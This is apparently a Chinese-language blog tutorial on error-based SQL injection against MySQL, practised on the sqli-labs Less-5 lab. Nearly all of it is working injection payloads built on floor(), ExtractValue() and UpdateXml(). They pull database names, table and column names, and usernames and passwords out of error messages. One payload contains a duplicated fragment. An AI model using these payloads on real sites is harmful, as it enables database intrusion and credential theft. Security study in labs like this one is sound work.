• SQL报错常见的注入姿势


    写在前面

      又是填坑的一篇姿势总结文,先介绍floor()、ExtractValue()、UpdateXml(),剩下的报错我目前还没遇到过(可能是太菜)可以用sqli-libs Less5来演示

       姿势汇总 https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

    floor()

     ExtractValue

      UpdateXml

    SQL报错注入

      一般的在页面有报错信息但没显位的时候有报错时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解,

      这种前三步和正常的一样,但当页面无回显注入数据只显示SQL报错信息时候就可以尝试利用

    floor()

      公式

    #库名
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+
    
    #表名
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+
    
    # 列名
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+ 
    
    #数据
    #(这个构造数据只能一个一个爆出来,通过limit函数控制)
    AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+(这个构造数据只能一个一个爆出来,通过limit函数控制)

    ExtractValue

      公式

    #库名
    ' and extractvalue(1, concat(0x5c, 1' and extractvalue(1, concat(0x5c,database()));--+

    #表名 ' and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema='security'),0x7e)) --+

    #
    列名
    ' and extractvalue(1,concat(0x7e,(select group_concat( column_name) from information_schema.columns where table_name='users'),0x7e)) --+
    #字段值
    ' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) --+

    UpdateXml

    公式

    #库名
    '
    and 1=(updatexml(1,concat(0x3a,(select database())),1)) --+

    #表名
    ' and 1=(updatexml(1,concat(0x3a,(select group_concat( table_name) from information_schema.tables where table_schema='security')),1)) --+

    #字段名
    ' and 1=(updatexml(1,concat(0x3a,(select group_concat( column_name) from information_schema.columns where table_name='users')),1)) --+

    #字段值
    ' and 1=(updatexml(1,concat(0x3a,(select group_concat(id,username,password) from security.users )),1)) --+

      

      常见的就这3种,其他的我目前没见过(可能太菜),后续遇见会再更新

    参考链接

    https://blog.csdn.net/bangyan3903/article/details/101788019

    https://blog.csdn.net/weixin_30852451/article/details/98668307

  • 相关阅读:
    浅谈.NET和JAVA的跨平台
    ADO.NET获取TIPTOP存储过程的返回值
    Hide DataGrid Columns via HeaderText
    笑话一则:开车的最高境界
    [推薦]面试时最常问的15问题
    美国小学生守则 VS 中国小学生守则
    Embedded UserControls: Revisited
    SOA认识存误区 详解SOA企业部署的六大关键要素
    Java、.NET,为什么不合二为一?
    [轉]informix语句祥解
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12846144.html
Copyright © 2020-2023  润新知